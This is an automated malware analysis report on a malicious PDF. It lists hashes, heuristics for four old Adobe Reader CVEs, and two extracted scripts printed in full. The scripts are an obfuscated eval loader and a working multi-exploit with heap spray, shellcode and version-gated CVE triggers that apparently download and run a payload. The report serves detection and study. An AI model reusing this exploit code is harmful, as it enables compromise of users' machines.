Malicious PDF — malware analysis report

Static analysis result for SHA-256 ebd4da4c68f2cd6f…

MALICIOUS

PDF

14.3 KB Authoring application: Weseesel First seen: 2026-05-10
MD5: 85a995d2e9c03e06222020603ffb01b2 SHA-1: a438e8548b52dadae00836ba01293a0c157d0c82 SHA-256: ebd4da4c68f2cd6f223ba86e6108e99add5229922f650298cc36adc6b3e4e40f
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0022_000.js pdf-javascript-stream PDF /JS object 22 at offset 0x2FA6 2673 bytes
SHA-256: f46f17f66f792225d46b9e39633a81289b68c632189e592d468bb434ce8e2ff1
Preview script
First 1,000 lines of the extracted script
// a2ae04cb0a75446eeb1e3ed0c722d0ee
var yX=100-100;
// 1cadabb9fd4fad46b95ac54488ba8413
var r=String("getPa"+"geNumh7lx".substr(0,5)+"WordseFY1".substr(0,5));
// a1527f82c90dca0efbae154430f28971
var x=51-50;
// d2926fd69dd4d264ba3f0fb29ed39ecf
var f=4;
// 1d0295d0dd7e0621c605abaa432bcd36
var l="undrl".substr(0,2)+"esvAH".substr(0,2)+"ca"+"ZIYPpeYPIZ".substr(4,2);
// 0960269c4628a2028b3b56ecc8e380cb
var j=new String("eval");
// 3e7c5984ef000875ef860889be115c80
var d=new String("getP"+"ageN"+"thWo"+"rd59KE".substr(0,2));
// d175902972cb0bd0af2e73dca9e9fc8e
var rK="fr"+"om"+"Ch"+"arp9JH".substr(0,2)+"CoVxh".substr(0,2)+"deXlsS".substr(0,2);
// 9f022eaebd925c52ef663d115d5a77e1
var mN=String("%n4L".substr(0,1));
// fa683052669c35a274ac665003962423
var rM=this;
// eba647f9544304d071b2c80bfda82e39
var iF=48;
// 5a5152d2ffa3e8055a339f681ca3a6f1;
// 10716c64663792bfeae70a9861d4e26f
var b="ch"+"ar"+"Co"+"de"+"At7iqg".substr(0,2);
// 4fca55d9accfa18e665c71a6d44a4c77
var jE=String("le25R".substr(0,2)+"rNEpngENpr".substr(4,2)+"thO1GM".substr(0,2));
// e3896114f6c3848cf86a7887b0d8d3f2
var yH=String;
// 96ead81d12d32ef20ca0ed44e38c0259
var fU=48-46;
// 6a98624ca822765bf7807dc89ed2a4ab
var sZ=new String("charC"+"odeAt0kc".substr(0,5));
// 2fa85e2ebeb0e51e61cdc4c5f794b623
var p=String("sub"+"str");
// 00bd2a45d51a152818bef8806e16a68d
var h=rM[r](f);
// 3c99eb0a1e8d6360c1ff9b9cb1519715
function bS(oB,dO){return oB-dO};
// 5d6463068e2202880a01b504f53aa610
var b=rM[b];
// 44bf2d9fe0e9c27967a77ddd5264394a
function cX(pC,cN){return pC[cN]};
// 78d938c35c79944520d8efdddf388c03
var rG=new yH();
// b580dc9d88121df8461ea172a3685b76
function yXG(pC,qF){return pC[p](qF,fU)};
// b02fbe74dfee6aa88d31099949a9fc53
function n(z,t){return z^t;};
// 17881629908c031089267d47718ec86f
function tI(oB,dO){return oB+dO};
// a463467807631b911e604d7819d340b6
function cF(pC){return pC[jE]-fU};
// 205ca9fd2f31c0d4dba818ff92d7b263;
// 01972a2e057bef4bb38e9ea7c546f283
function nI(kT,qF){return kT[sZ](qF)};
// a33a643807dfdc3899d12bf7f9341bc9
function dC(iN){return rM[d](f,iN)};
// 2c6471bfd0f0bbcfbe58a23378905df5
var bO=rM[j];
// de4dc38ebfc99f1db77d51a8e49500fb
var iNW=rM[l];
// 9a37a9ccb1611a88a564a5db2ec5de39
function wP(iN){
// 47384846f7bb17cfc8bce227a95f6d14
var v=dC(iN);
// a63882b941a388ab63bae209913c9961
qF=cF(v);
// 99ab6fe8724dc78772bea90d06ff00ae
pE=yXG(v,qF);
// d50ece4448e88f39dd0626c2734a1bbb
kH = iNW(tI(mN,pE));return nI(kH,yX);};for(var iN=yX;iN<h;iN++){
// 209f6eb2aedc910b1e27ef70426f2e33
var bK=wP(iN);
// 7d980c0cd0516a6ba6aacaaf2c51a0fe
var wH=n(bK,iF);
// 622e73a7cfb68e92a49e797a2b683ccf
rG+=cX(yH,rK)(wH);
// 36f7adcf6bab411977062a328be984c8
}bO(rG);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3791 bytes
SHA-256: e956ca5548b76ad52af6017f3259f6614728a1f7bd4e7657324e8ff04be80588
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
�����������������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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